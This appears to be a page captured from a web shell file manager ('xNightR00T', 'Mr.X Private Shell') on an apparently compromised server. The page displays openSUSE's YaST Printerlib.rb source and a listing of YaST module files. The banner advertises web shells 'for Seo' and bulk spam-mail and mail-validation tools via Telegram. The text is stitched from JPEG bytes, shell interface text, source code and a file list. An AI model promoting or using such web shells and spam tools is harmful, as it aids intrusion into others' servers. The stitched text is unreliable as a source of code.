xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# ------------------------------------------------------------------------------
# Copyright (c) 2006 Novell, Inc. All Rights Reserved.
#
#
# This program is free software; you can redistribute it and/or modify it under
# the terms of version 2 of the GNU General Public License as published by the
# Free Software Foundation.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with
# this program; if not, contact Novell, Inc.
#
# To contact Novell about this file by physical or electronic mail, you may find
# current contact information at www.novell.com.
# ------------------------------------------------------------------------------

# File:        include/printer/Printerlib.ycp
# Package:     Configuration of printer
# Summary:     Common functionality
# Authors:     Michal Zugec <mzugec@suse.cz>
#              Johannes Meixner <jsmeix@suse.de>
#
# $Id: Printerlib.ycp 27914 2006-02-13 14:32:08Z locilka $
require "yast"

module Yast
  class PrinterlibClass < Module
    def main
      Yast.import "UI"
      textdomain "printer"

      Yast.import "Package"
      Yast.import "Popup"
      Yast.import "Service"

      # Fortunately the tools are for all architectures always
      # installed in /usr/lib/YaST2/bin/ (i.e. no "lib64").
      # I tested this on Thu Aug 28 2008 using the command
      # rpm -qlp /work/CDs/all/full-sle10-sp2*/suse/*/yast2-printer.rpm | grep '/YaST2/bin/' | grep -v '/usr/lib/YaST2/bin/'
      @yast_bin_dir = "/usr/lib/YaST2/bin/"

      # The result map is used as a simple common local store for whatever additional results
      # (in particular commandline exit code, stdout, stderr, and whatever messages)
      # so that the local functions in this module can be of easy-to-use boolean type.
      # The following keys are used:
      # result["exit"]:<integer> for exit codes
      # result["stdout"]:<string> for stdout and whatever non-error-messages
      # result["stderr"]:<string> for stderr and whatever error-messages
      @result = { "exit" => 0, "stdout" => "", "stderr" => "" }

      # By default there is a local running cupsd.
      # But to be on the safe side, assume it is not:
      @local_cupsd_accessible = false

      # By default there is no active "ServerName" entry in /etc/cups/client.conf:
      @client_conf_server_name = ""
      @client_only = false

      # By default there is "Browsing On" in /etc/cups/cupsd.conf
      # which is even the fallback if there is no "Browsing" entry at all
      # or when the "Browsing" entry is deactivated by a leading '#' character.
      # Therefore browsing_on is only false if "Browsing Off" or "Browsing No"
      # is explicitly set in /etc/cups/cupsd.conf.
      @cupsd_conf_browsing_on = true

      # By default there is "BrowseAllow all" in /etc/cups/cupsd.conf
      # which is even the fallback if there is no "BrowseAllow" entry at all
      # or when the "BrowseAllow" entries are deactivated by a leading '#' character.
      # Multiple BrowseAllow lines are allowed, e.g.:
      #   BrowseAllow from @LOCAL
      #   BrowseAllow from 192.168.200.1
      #   BrowseAllow from 192.168.100.0/255.255.255.0
      # so that each BrowseAllow line value is stored as one string
      # in the cupsd_conf_browse_allow list of strings:
      @cupsd_conf_browse_allow = ["all"]

      # By default there is no "BrowsePoll" entry in /etc/cups/cupsd.conf
      # Multiple BrowsePoll lines are allowed, e.g.:
      #   BrowsePoll 192.168.100.1
      #   BrowsePoll 192.168.200.2
      # so that each BrowsePoll line value is stored as one string
      # in the cupsd_conf_browse_poll list of strings:
      @cupsd_conf_browse_poll = [""]
    end

    # Wrapper for SCR::Execute to execute a bash command to increase verbosity via y2milestone.
    # It reports the command via y2milestone in any case and it reports exit code, stdout
    # and stderr via y2milestone in case of non-zero exit code.
    # @param [String] bash_commandline string of the bash command to be executed
    # @return true on success
    def ExecuteBashCommand(bash_commandline)
      Builtins.y2milestone("Executing bash commandline: %1", bash_commandline)
      # Enforce a hopefully sane environment before running the actual command:
      bash_commandline = Ops.add(
        "export PATH='/sbin:/usr/sbin:/usr/bin:/bin' ; export LC_ALL='POSIX' ; export LANG='POSIX' ; umask 022 ; ",
        bash_commandline
      )
      @result = Convert.to_map(
        SCR.Execute(path(".target.bash_output"), bash_commandline)
      )
      if Ops.get_integer(@result, "exit", 9999) != 0
        Builtins.y2warning(
          "'%1' exit code is: %2",
          bash_commandline,
          Ops.get_integer(@result, "exit", 9999)
        )
        Builtins.y2warning(
          "'%1' stdout is: %2",
          bash_commandline,
          Ops.get_string(@result, "stdout", "")
        )
        Builtins.y2warning(
          "'%1' stderr is: %2",
          bash_commandline,
          Ops.get_string(@result, "stderr", "")
        )
        return false
      end
      true
    end

    # Test whether the package is installed (calls 'rpm -q package_name') or
    # test whether the package is available to be installed (Package::Available)
    # and if yes then install it (Package::Install) if it is not yet installed or
    # remove the package (Package::Remove) if it is installed.
    # @param [String] package_name string of the package name
    # @param [String] action string of the action to be done (installed or install or remove).
    # @return true on success
    def TestAndInstallPackage(package_name, action)
      Builtins.y2milestone(
        "TestAndInstallPackage '%1' with action '%2'",
        package_name,
        action
      )
      # Intentionally Package::Installed(package_name) is not used here
      # because it does 'rpm -q' and if this fails it does 'rpm -q --whatprovides'
      # but I am only interested in the result for the real package name here
      # because alternatives would be handled in the upper-level functions
      # (e.g. in the user dialogs) which call TestAndInstallPackage:
      if "installed" == action
        if ExecuteBashCommand(Ops.add(Ops.add("rpm -q '", package_name), "'"))
          Builtins.y2milestone(
            "TestAndInstallPackage: package '%1' is installed",
            Ops.get_string(@result, "stdout", package_name)
          )
          return true
        end
        # The "%1" makes the YCP Parser happy, otherwise it shows the warning
        # "Format string is not constant, no parameter checking possible".
        Builtins.y2milestone(
          "TestAndInstallPackage: %1",
          Ops.get_string(@result, "stdout", "package is not installed")
        )
        return false
      end
      if "install" == action
        if ExecuteBashCommand(Ops.add(Ops.add("rpm -q '", package_name), "'"))
          Builtins.y2milestone(
            "TestAndInstallPackage: package '%1' is already installed",
            Ops.get_string(@result, "stdout", package_name)
          )
          return true
        end
        # Is the package available to be installed?
        # Package::Available returns nil if no package source is available.
        package_available = Package.Available(package_name)
        if nil == package_available
          Builtins.y2milestone(
            "TestAndInstallPackage: Required package %1 is not installed and there is no package repository available.",
            package_name
          )
          Popup.Error(
            Builtins.sformat(
              _(
                "Required package %1 is not installed and there is no package repository available."
              ),
              package_name
            ) # Message of a Popup::Error where %1 will be replaced by the package name:
          )
          return false
        end
        if !package_available
          Builtins.y2milestone(
            "TestAndInstallPackage: Required package %1 is not installed and not available in the repository.",
            package_name
          )
          Popup.Error(
            Builtins.sformat(
              _(
                "Required package %1 is not installed and not available in the repository."
              ),
              package_name
            ) # Message of a Popup::Error where %1 will be replaced by the package name:
          )
          return false
        end
        # Package::Install(package_name) has unexpected side-effects
        # because it does additionally remove whatever other packages
        # for example to "automatically solve" existing package conflicts
        # without any dialog where the user could accept or reject additional removals
        # (the user may have intentionally accepted whatever package conflict).
        # I am only interested to install exactly the one package which was specified
        # and all what this one package requires but I am not interested to get whatever
        # other packages removed but I do not know a function which does this.
        # Therefore I use Package::Install(package_name) because it is most important
        # to get all installed what is required by the package which was specified.
        if !Package.Install(package_name)
          Builtins.y2milestone(
            "TestAndInstallPackage: Failed to install required package %1.",
            package_name
          )
          Popup.Error(
            # Only a simple message because:
            # Either the user has explicitly rejected to install the package,
            # or this error does not happen on a normal system
            # (i.e. a system which is not totally broken or totally messed up).
            Builtins.sformat(
              _("Failed to install required package %1."),
              package_name
            )
          )
          return false
        end
      end
      if "remove" == action
        if !ExecuteBashCommand(Ops.add(Ops.add("rpm -q '", package_name), "'"))
          Builtins.y2milestone(
            "TestAndInstallPackage: skip remove because %1",
            Ops.get_string(@result, "stdout", "package is not installed")
          )
          return true
        else
          if !Popup.ContinueCancel(
              Builtins.sformat(
                # where %1 will be replaced by the package name
                # when removing package %1 would break dependencies.
                _("Remove package %1?"),
                package_name
              ) # Body of a Popup::ContinueCancel
            )
            # Therefore we exit here but with "false" because
            # the request to remove the package was not done.
            return false
          end
        end
        # Intentionally Package::Remove(package_name) is not used here
        # because it does additionally remove whatever other packages
        # for example to "automatically solve" existing package conflicts
        # without any dialog where the user could accept or reject additional removals
        # (the user may have intentionally accepted whatever package conflict).
        # Furthermore Package::Remove(package_name) does additionally install
        # whatever other packages for example to "automatically solve" whatever
        # kind of soft requirements (Recommends) for other packages.
        # I am only interested to remove exactly the one package which was specified and
        # I am not interested to get whatever replacement package installed automatically
        # because alternatives and/or substitutes would be handled in the upper-level functions
        # (e.g. in the user dialogs) which call TestAndInstallPackage.
        # Usually (i.e. in a openSUSE standard system) the packages which are removed here
        # do not have dependencies or the calling function removes dependant packages
        # in the right order (e.g. first hplip and then hplip-hpijs, see driveradd.ycp)
        # but the user might have installed whatever third-party packages
        # which could have dependencies to the package which should be removed here.
        # Therefore there is a test if the removal would break RPM dependencies
        # but intentionally it is not tested whether the removal
        # would "break" whatever kind of soft requirements (Recommends).
        if !ExecuteBashCommand(
            Ops.add(Ops.add("rpm -e --test '", package_name), "'")
          )
          # Therefore the exact RPM message is shown via a separated Popup::ErrorDetails.
          Popup.ErrorDetails(
            Builtins.sformat(
              # where %1 will be replaced by the package name.
              _("Removing package %1 would break dependencies."),
              package_name
            ), # Message of a Popup::ErrorDetails
            Ops.get_string(@result, "stderr", "")
          )
          if !Popup.ContinueCancelHeadline(
              Builtins.sformat(
                # where %1 will be replaced by the package name
                # when removing package %1 would break dependencies.
                _("Remove %1 regardless of breaking dependencies?"),
                package_name
              ), # Header of a Popup::ContinueCancelHeadline
              # Body of a Popup::ContinueCancelHeadline
              # when removing package %1 would break dependencies.
              _("Breaking dependencies leads to arbitrary failures elsewhere.")
            )
            # Therefore we exit here but with "false" because removing the package failed.
            return false
          end
        end
        if !ExecuteBashCommand(
            Ops.add(Ops.add("rpm -e --nodeps '", package_name), "'")
          )
          Builtins.y2milestone(
            "TestAndInstallPackage: Failed to remove package %1.",
            package_name
          )
          Popup.ErrorDetails(
            Builtins.sformat(
              # where %1 will be replaced by the package name.
              # Only a simple message because this error does not happen on a normal system.
              _("Failed to remove package %1."),
              package_name
            ), # Message of a Popup::ErrorDetails
            Ops.get_string(@result, "stderr", "")
          )
          return false
        end
      end
      true
    end

    def GetAndSetCupsdStatus(new_status)
      # The value 'false' is also the right one when the command itself fails
      # (e.g. when there is no /usr/bin/lpstat binary or whatever broken stuff).
      # Since CUPS 1.4 'lpstat -r' results true even when scheduler is not running.
      # Therefore we must now grep in its output:
      local_cupsd_accessible_commandline = "/usr/bin/lpstat -h localhost -r | grep -q 'scheduler is running'"
      @local_cupsd_accessible = ExecuteBashCommand(
        local_cupsd_accessible_commandline
      )
      # Start cupsd:
      if "start" == new_status
        return true if @local_cupsd_accessible
        # Enforce user confirmation before a new service is started
        # to be on the safe side that the user knows about it:
        if !Popup.YesNoHeadline(
            _("Start locally running CUPS daemon"),
            # PopupYesNoHeadline body:
            _("A locally running CUPS daemon is needed.")
          )
          return false
        end
        if !Service.Start("cups")
          Popup.ErrorDetails(
            _("Failed to start the CUPS daemon"),
            Service.Error
          )
          return false
        end
        # Sleep one second in any case so that the new started cupsd can become ready to operate:
        Builtins.sleep(1000)
        # Wait half a minute for a new started cupsd is necessary because
        # when a client-only config is switched to a "get Browsing info" config
        # the BrowseInterval in cupsd.conf on remote CUPS servers is by default 30 seconds
        # so that the local cupsd should listen at least 31 seconds to get Browsing info
        # before e.g. the Overview dialog can be shown with the right current queues.
        Popup.TimedMessage(
          _(
            "Started the CUPS daemon.\nWaiting half a minute for the CUPS daemon to get ready to operate...\n"
          ),
          30
        )
        @local_cupsd_accessible = ExecuteBashCommand(
          local_cupsd_accessible_commandline
        )
        if !@local_cupsd_accessible
          # for the very first time (e.g. on a new installed system)
          # until the cupsd is actually ready to operate.
          # E.g. because parsing of thousands of PPDs may need much time.
          # Therefore enforce waiting one minute now.
          # (Plain busy message without title.)
          Popup.ShowFeedback(
            "",
            _(
              "The CUPS daemon is not yet accessible.\nWaiting one minute so that it is ready to operate..."
            )
          )
          Builtins.sleep(60000)
          Popup.ClearFeedback
        end
        @local_cupsd_accessible = ExecuteBashCommand(
          local_cupsd_accessible_commandline
        )
        if !@local_cupsd_accessible
          Popup.Error(_("No locally running CUPS daemon is accessible."))
          return false
        end
        if !Service.Enable("cups")
          Popup.ErrorDetails(
            _("Failed to enable starting of the CUPS daemon during system boot"),
            Service.Error
          ) 
          # This is not a fatal error, therefore return "successfully" nevertheless.
        end
        return true
      end
      # Restart cupsd:
      if "restart" == new_status
        # to be on the safe side regarding complaints in an enterprise environment
        # because a restart disrupts all currently actively printing jobs:
        if !Popup.YesNoHeadline(
            _("Restart locally running CUPS daemon"),
            # PopupYesNoHeadline body:
            _("A restart disrupts all currently active print jobs.")
          )
          return false
        end
        if !Service.Restart("cups")
          Popup.ErrorDetails(
            _("Failed to restart the CUPS daemon"),
            Service.Error
          )
          return false
        end
        # Sleep two seconds in any case so that the re-started cupsd can become ready to operate.
        # It may need one second for some cleanup before finishing
        # and one second to become ready to operate after starting.
        Builtins.sleep(2000)
        # Wait half a minute for a restarted cupsd is necessary because
        # when a "no Browsing info" config is switched to a "get Browsing info" config
        # the BrowseInterval in cupsd.conf on remote CUPS servers is by default 30 seconds
        # so that the local cupsd should listen at least 31 seconds to get Browsing info
        # before e.g. the Overview dialog can be shown with the right current queues.
        Popup.TimedMessage(
          _(
            "Restarted the CUPS daemon.\nWaiting half a minute for the CUPS daemon to get ready to operate...\n"
          ),
          30
        )
        @local_cupsd_accessible = ExecuteBashCommand(
          local_cupsd_accessible_commandline
        )
        if !@local_cupsd_accessible
          Popup.Error(_("No locally running CUPS daemon is accessible."))
          return false
        end
        # To be on the safe side, ask the user to enable the cupsd
        # to be started during boot if it is not yet enabled:
        if !Service.Enabled("cups")
          if Popup.YesNoHeadline(
              _("Enable starting of the CUPS daemon during system boot"),
              # PopupYesNoHeadline body:
              _("Currently the CUPS daemon is not started during system boot.")
            )
            if !Service.Enable("cups")
              Popup.ErrorDetails(
                _(
                  "Failed to enable starting of the CUPS daemon during system boot"
                ),
                Service.Error
              ) 
              # This is not a fatal error, therefore return "successfully" nevertheless.
            end
          end
        end
        return true
      end
      # Stop cupsd:
      if "stop" == new_status
        # to be on the safe side regarding complaints in an enterprise environment
        # because a stop disrupts all currently actively printing jobs:
        if !Popup.YesNoHeadline(
            _("Stop locally running CUPS daemon"),
            # PopupYesNoHeadline body:
            _("A stop disrupts all currently active print jobs.")
          )
          return false
        end
        # To be on the safe side try to stop and disable the cupsd
        # regardless if it is accessible or not and/or disabled or not
        # and ignore possible errors from Service::Stop and Service::Disable
        # (the local_cupsd_accessible test below should be sufficient):
        Service.Stop("cups")
        Service.Disable("cups")
        # Wait one second to make sure that cupsd has really finished (it may do some cleanup):
        Builtins.sleep(1000)
        @local_cupsd_accessible = ExecuteBashCommand(
          local_cupsd_accessible_commandline
        )
        if @local_cupsd_accessible
          Popup.Error(_("A locally running CUPS daemon is still accessible."))
          return false
        end
        return true
      end
      # If new_status is neither "start" nor "restart" nor "stop",
      # return whether or not the local cupsd is accessible:
      @local_cupsd_accessible
    end

    def DetermineClientOnly
      if ExecuteBashCommand(Ops.add(@yast_bin_dir, "cups_client_only"))
        @client_conf_server_name = Ops.get_string(@result, "stdout", "")
        if "" != @client_conf_server_name &&
            "localhost" != @client_conf_server_name &&
            "127.0.0.1" != @client_conf_server_name
          # which is used to force client tools (e.g. lpadmin, lpinfo, lpstat)
          # to ask the local cupsd via the IPP port on localhost (127.0.0.1:631)
          # and not via the domain socket (/var/run/cups/cups.sock) because
          # the latter failed in the past for certain third-party clients (e.g. Java).
          # If the ServerName value in /etc/cups/client.conf is 'localhost'
          # it is actually no client-only config because the local cupsd is used.
          @client_only = true
          return true
        end
        @client_only = false
        return true
      end
      # The cups_client_only tool failed:
      @client_conf_server_name = Ops.get_string(@result, "stdout", "")
      if "" != @client_conf_server_name &&
          "localhost" != @client_conf_server_name &&
          "127.0.0.1" != @client_conf_server_name
        # cups_client_only fails when the client-only server is not accessible:
        Popup.ErrorDetails(
          # where %1 will be replaced by the server name.
          Builtins.sformat(
            _("The CUPS server '%1' is not accessible."),
            @client_conf_server_name
          ),
          Ops.get_string(@result, "stderr", "")
        )
        @client_only = true
        return false
      end
      if "localhost" == @client_conf_server_name ||
          "127.0.0.1" == @client_conf_server_name
        @client_only = false
        if !GetAndSetCupsdStatus("")
          return false if !GetAndSetCupsdStatus("start")
        end
        return true
      end
      # The cups_client_only tool failed for whatever reason.
      # Use fallback values:
      @client_conf_server_name = ""
      @client_only = false
      true
    end

    def DetermineBrowsing
      if ExecuteBashCommand(
          Ops.add(@yast_bin_dir, "modify_cupsd_conf Browsing")
        )
        browsing = Builtins.tolower(Ops.get_string(@result, "stdout", "On"))
        if "off" == browsing || "no" == browsing
          @cupsd_conf_browsing_on = false
        else
          @cupsd_conf_browsing_on = true
        end
      else
        @cupsd_conf_browsing_on = true
        return false
      end
      true
    end

    def DetermineBrowseAllow
      if ExecuteBashCommand(
          Ops.add(@yast_bin_dir, "modify_cupsd_conf BrowseAllow")
        )
        # but possible duplicate BrowseAllow values are not removed in the command output:
        @cupsd_conf_browse_allow = Builtins.toset(
          Builtins.splitstring(Ops.get_string(@result, "stdout", "all"), " ")
        )
      else
        @cupsd_conf_browse_allow = ["all"]
        return false
      end
      true
    end

    def DetermineBrowsePoll
      if ExecuteBashCommand(
          Ops.add(@yast_bin_dir, "modify_cupsd_conf BrowsePoll")
        )
        # but possible duplicate BrowsePoll values are not removed in the command output:
        @cupsd_conf_browse_poll = Builtins.toset(
          Builtins.splitstring(Ops.get_string(@result, "stdout", ""), " ")
        )
      else
        @cupsd_conf_browse_poll = [""]
        return false
      end
      true
    end

    # Up to CUPS 1.3 cupsd writes changes to config files immediately so that the updated files
    # will be available after the corresponding command, function call, or IPP operation is completed.
    # Since CUPS 1.4 the new DirtyCleanInterval directive controls the delay when cupsd updates config files,
    # which defaults to 30 seconds. Setting it to 0 will have it write the changes on the next pass through
    # the main run loop - less immediate than before, but still should be within a few milliseconds.
    # To be on the safe side regarding "within a few milliseconds" (which could become much more
    # depending on which processes the scheduler lets run - in particular cupsd versus yast2-printer)
    # it sleeps in any case at least one second:
    def WaitForUpdatedConfigFiles(popupheader)
      # and then the default delay until cupsd writes config files like printers.conf
      # is 30 seconds which is also used here as fallback.
      dirty_clean_interval = 30
      # In openSUSE 11.2 there will be most likely still CUPS 1.3.x
      # where the above 30 seconds fallback would result needless waiting.
      # To avoid needless waiting there is a fail-safe test if CUPS 1.3.x is used
      # and if yes, the matching 0 seconds value is used.
      # Note the YCP quoting: \\. becomes \. in the commandline.
      if ExecuteBashCommand("cups-config --version | grep -q '^1\\.3'")
        dirty_clean_interval = 0
      end
      # Determine the DirtyCleanInterval value in /etc/cups/cupsd.conf:
      if ExecuteBashCommand(
          Ops.add(@yast_bin_dir, "modify_cupsd_conf DirtyCleanInterval")
        )
        # the latter would require 'import "Printer"' but Printer does already 'import "Printerlib"'
        # and a cyclic import drives the YaST machinery mad (it collapses with "too many open files"):
        dirty_clean_interval_string = Builtins.filterchars(
          Ops.get_string(@result, "stdout", "30"),
          "0123456789"
        )
        if "" != dirty_clean_interval_string &&
            nil != Builtins.tointeger(dirty_clean_interval_string)
          dirty_clean_interval = Builtins.tointeger(dirty_clean_interval_string)
        end 
        # Use the above defined fallback value 30 or the CUPS 1.3.x value 0
        # when there is no DirtyCleanInterval entry (this applies also for CUPS 1.3.x)
        # or when the DirtyCleanInterval value cannot be converted to an integer.
      end
      # Use fallback cupsd_conf_dirty_clean_interval value when the command above failed.
      Builtins.y2milestone(
        "Waiting DirtyCleanInterval='%1'+1 seconds for updated config files.",
        dirty_clean_interval
      )
      if Ops.less_than(dirty_clean_interval, 1)
        # be on the safe side and sleep one second but without user notification:
        Builtins.sleep(1000)
        return true
      end
      # Let impatient users interrupt the waiting for updated config files.
      # E.g. when several queues should be added or modified there is no need
      # to annoy the user with enforced waiting again and again for each queue.
      # Return true if the user did not interrupt the waiting for updated config files
      # but return false if the user interrupted the waiting for updated config files.
      # To be on the safe side sleep one second longer than the dirty_clean_interval.
      max_waiting_time = Ops.add(dirty_clean_interval, 1)
      waited_time = 0

      UI.OpenDialog(
        VBox(
          Label(popupheader),
          ProgressBar(
            Id("wait_for_updated_config_files_progress_bar"),
            # Label for a ProgressBar while waiting for updated config files:
            _("Updating configuration files..."),
            max_waiting_time,
            waited_time
          ),
          Right(
            PushButton(
              Id("skip_waiting_for_updated_config_files"),
              # Label for a PushButton to skip waiting for updated config files:
              _("&Skip waiting")
            )
          )
        )
      )
      while Ops.less_than(waited_time, max_waiting_time)
        user_input = Convert.to_string(UI.TimeoutUserInput(1000))
        # Break waiting loop if the user wants to skip waiting for updated config files:
        break if "skip_waiting_for_updated_config_files" == user_input
        # Otherwise update the progress bar and loop to wait one more second for user input:
        waited_time = Ops.add(waited_time, 1)
        UI.ChangeWidget(
          Id("wait_for_updated_config_files_progress_bar"),
          :Value,
          waited_time
        )
      end
      UI.CloseDialog
      if Ops.less_than(waited_time, dirty_clean_interval)
        # when the waiting_time is strictly less than the dirty_clean_interval.
        # Don't show a warning popup here.
        # A specific warning popup is shown by the caller in basicadd.ycp and basicmodify.ycp.
        return false
      end
      true
    end

    # Determine if any kind of firewall seems to be active by calling
    # "iptables -n -L | egrep -q 'DROP|REJECT'"
    # to find out if there are currently dropping or rejecting packet filter rules.
    # One might use a more specific test via
    # "iptables -n -L | grep -v '^LOG' | egrep -q '^DROP|^REJECT'"
    # to match only for DROP and REJECT targets and exclude LOG targets
    # but it does not cause real problems when there is a false positive result here
    # because all what happens it that then a needless firewall info popup would be shown.
    def FirewallSeemsToBeActive
      if ExecuteBashCommand("iptables -n -L | egrep -q 'DROP|REJECT'")
        Builtins.y2milestone("A firewall seems to be active.")
        return true
      end
      # Return 'false' also as fallback value when the above command fails
      # because of whatever reason because this fallback value is safe
      # because it only results that no firewall info popup is shown
      # the "Print via Network" and/or "Share Printers" dialogs
      # but also the help text of those dialogs explains firewall stuff
      # so that sufficient information is available in any case:
      false
    end

    publish :variable => :yast_bin_dir, :type => "string"
    publish :variable => :result, :type => "map"
    publish :function => :ExecuteBashCommand, :type => "boolean (string)"
    publish :function => :TestAndInstallPackage, :type => "boolean (string, string)"
    publish :variable => :local_cupsd_accessible, :type => "boolean"
    publish :function => :GetAndSetCupsdStatus, :type => "boolean (string)"
    publish :variable => :client_conf_server_name, :type => "string"
    publish :variable => :client_only, :type => "boolean"
    publish :function => :DetermineClientOnly, :type => "boolean ()"
    publish :variable => :cupsd_conf_browsing_on, :type => "boolean"
    publish :function => :DetermineBrowsing, :type => "boolean ()"
    publish :variable => :cupsd_conf_browse_allow, :type => "list <string>"
    publish :function => :DetermineBrowseAllow, :type => "boolean ()"
    publish :variable => :cupsd_conf_browse_poll, :type => "list <string>"
    publish :function => :DetermineBrowsePoll, :type => "boolean ()"
    publish :function => :WaitForUpdatedConfigFiles, :type => "boolean (string)"
    publish :function => :FirewallSeemsToBeActive, :type => "boolean ()"
  end

  Printerlib = PrinterlibClass.new
  Printerlib.main
end

Filemanager

Name Type Size Permission Actions
YaPI Folder 0755
YaST Folder 0755
ALog.rb File 3.26 KB 0644
AddOnProduct.rb File 78.59 KB 0644
Address.rb File 3.45 KB 0644
Arch.rb File 15.59 KB 0644
AsciiFile.rb File 12.59 KB 0644
Assert.rb File 2.06 KB 0644
AuditLaf.rb File 21.16 KB 0644
AuthServer.pm File 172.86 KB 0644
AutoInstall.rb File 11.34 KB 0644
AutoInstallRules.rb File 36.37 KB 0644
AutoinstClass.rb File 7.62 KB 0644
AutoinstClone.rb File 6.82 KB 0644
AutoinstCommon.rb File 3.18 KB 0644
AutoinstConfig.rb File 17.86 KB 0644
AutoinstData.rb File 2.37 KB 0644
AutoinstDrive.rb File 14.28 KB 0644
AutoinstFile.rb File 9.3 KB 0644
AutoinstFunctions.rb File 1.1 KB 0644
AutoinstGeneral.rb File 17.48 KB 0644
AutoinstImage.rb File 1.75 KB 0644
AutoinstLVM.rb File 21.58 KB 0644
AutoinstPartPlan.rb File 36.37 KB 0644
AutoinstPartition.rb File 14.53 KB 0644
AutoinstRAID.rb File 7.73 KB 0644
AutoinstScripts.rb File 36.75 KB 0644
AutoinstSoftware.rb File 38.57 KB 0644
AutoinstStorage.rb File 48.62 KB 0644
Autologin.rb File 4.82 KB 0644
BootArch.rb File 3.37 KB 0644
BootStorage.rb File 10.15 KB 0644
BootSupportCheck.rb File 7.36 KB 0644
Bootloader.rb File 15.87 KB 0644
CWM.rb File 39.16 KB 0644
CWMFirewallInterfaces.rb File 38.92 KB 0644
CWMServiceStart.rb File 27.49 KB 0644
CWMTab.rb File 13.2 KB 0644
CWMTable.rb File 14.57 KB 0644
CWMTsigKeys.rb File 24.93 KB 0644
CaMgm.rb File 12.9 KB 0644
Call.rb File 1.53 KB 0644
CheckMedia.rb File 6.1 KB 0644
CommandLine.rb File 52.89 KB 0644
Confirm.rb File 6.95 KB 0644
Console.rb File 8.63 KB 0644
ContextMenu.rb File 1.4 KB 0644
Crash.rb File 5.26 KB 0644
Cron.rb File 2.85 KB 0644
CustomDialogs.rb File 2.52 KB 0644
DNS.rb File 23.77 KB 0644
DebugHooks.rb File 4.89 KB 0644
DefaultDesktop.rb File 13.29 KB 0644
Desktop.rb File 12.5 KB 0644
DevicesSelectionBox.rb File 5.67 KB 0644
DhcpServer.pm File 70.43 KB 0644
DhcpServerUI.rb File 10.43 KB 0644
DialogTree.rb File 11.76 KB 0644
Directory.rb File 4.99 KB 0644
Distro.rb File 2.29 KB 0644
DnsData.pm File 1.65 KB 0644
DnsFakeTabs.rb File 751 B 0644
DnsRoutines.pm File 2.81 KB 0644
DnsServer.pm File 57.26 KB 0644
DnsServerAPI.pm File 68.81 KB 0644
DnsServerHelperFunctions.rb File 11.83 KB 0644
DnsServerUI.rb File 3.78 KB 0644
DnsTsigKeys.pm File 2.53 KB 0644
DnsZones.pm File 22.9 KB 0644
DontShowAgain.rb File 13.03 KB 0644
DualMultiSelectionBox.rb File 24.91 KB 0644
Encoding.rb File 4.54 KB 0644
Event.rb File 4.89 KB 0644
FTP.rb File 2.32 KB 0644
FileChanges.rb File 9.39 KB 0644
FileSystems.rb File 69.86 KB 0644
FileUtils.rb File 17.64 KB 0644
FtpServer.rb File 36.4 KB 0644
GPG.rb File 13.58 KB 0644
GPGWidgets.rb File 12.34 KB 0644
GetInstArgs.rb File 4.04 KB 0644
Greasemonkey.rb File 6.86 KB 0644
HTML.rb File 6.11 KB 0644
HTTP.rb File 3.37 KB 0644
HWConfig.rb File 5.1 KB 0644
Hooks.rb File 5.76 KB 0644
Host.rb File 10.78 KB 0644
Hostname.rb File 7.35 KB 0644
Hotplug.rb File 5.64 KB 0644
HttpServer.rb File 26.81 KB 0644
HttpServerWidgets.rb File 120.87 KB 0644
HwStatus.rb File 3.08 KB 0644
IP.rb File 12.65 KB 0644
IPSecConf.rb File 22.58 KB 0644
Icon.rb File 5.43 KB 0644
ImageInstallation.rb File 49.56 KB 0644
Inetd.rb File 28.29 KB 0644
Initrd.rb File 16.41 KB 0644
InstData.rb File 4.13 KB 0644
InstError.rb File 6.95 KB 0644
InstExtensionImage.rb File 15.48 KB 0644
InstFunctions.rb File 5.12 KB 0644
InstShowInfo.rb File 2.81 KB 0644
InstURL.rb File 6.06 KB 0644
Installation.rb File 10.29 KB 0644
Instserver.rb File 43.86 KB 0644
Integer.rb File 2.99 KB 0644
Internet.rb File 9.29 KB 0644
IscsiClient.rb File 9.74 KB 0644
IscsiClientLib.rb File 55.9 KB 0644
IsnsServer.rb File 11.07 KB 0644
Kdump.rb File 38.8 KB 0644
Kerberos.rb File 37.03 KB 0644
Kernel.rb File 22.96 KB 0644
KeyManager.rb File 8.47 KB 0644
Keyboard.rb File 50.48 KB 0644
Kickstart.rb File 23.84 KB 0644
Label.rb File 9.11 KB 0644
Lan.rb File 32.38 KB 0644
LanItems.rb File 94.36 KB 0644
Language.rb File 45.33 KB 0644
Ldap.rb File 63.96 KB 0644
LdapDatabase.rb File 77.2 KB 0644
LdapPopup.rb File 21.03 KB 0644
LdapServerAccess.pm File 8.73 KB 0644
Linuxrc.rb File 7.53 KB 0644
LogView.rb File 21.39 KB 0644
LogViewCore.rb File 6.32 KB 0644
Mail.rb File 43.92 KB 0644
MailAliases.rb File 6.88 KB 0644
MailTable.pm File 3.25 KB 0644
MailTableInclude.pm File 4.79 KB 0644
Map.rb File 4.27 KB 0644
Message.rb File 11.39 KB 0644
MiniWorkflow.rb File 2.88 KB 0644
Misc.rb File 11.8 KB 0644
Mode.rb File 10.76 KB 0644
ModuleLoading.rb File 9.26 KB 0644
ModulesConf.rb File 4.24 KB 0644
Mtab.rb File 1.24 KB 0644
NetHwDetection.rb File 8.46 KB 0644
Netmask.rb File 5.08 KB 0644
Network.rb File 1.3 KB 0644
NetworkConfig.rb File 5.9 KB 0644
NetworkInterfaces.rb File 56.49 KB 0644
NetworkPopup.rb File 7.86 KB 0644
NetworkService.rb File 12.71 KB 0644
NetworkStorage.rb File 1.91 KB 0644
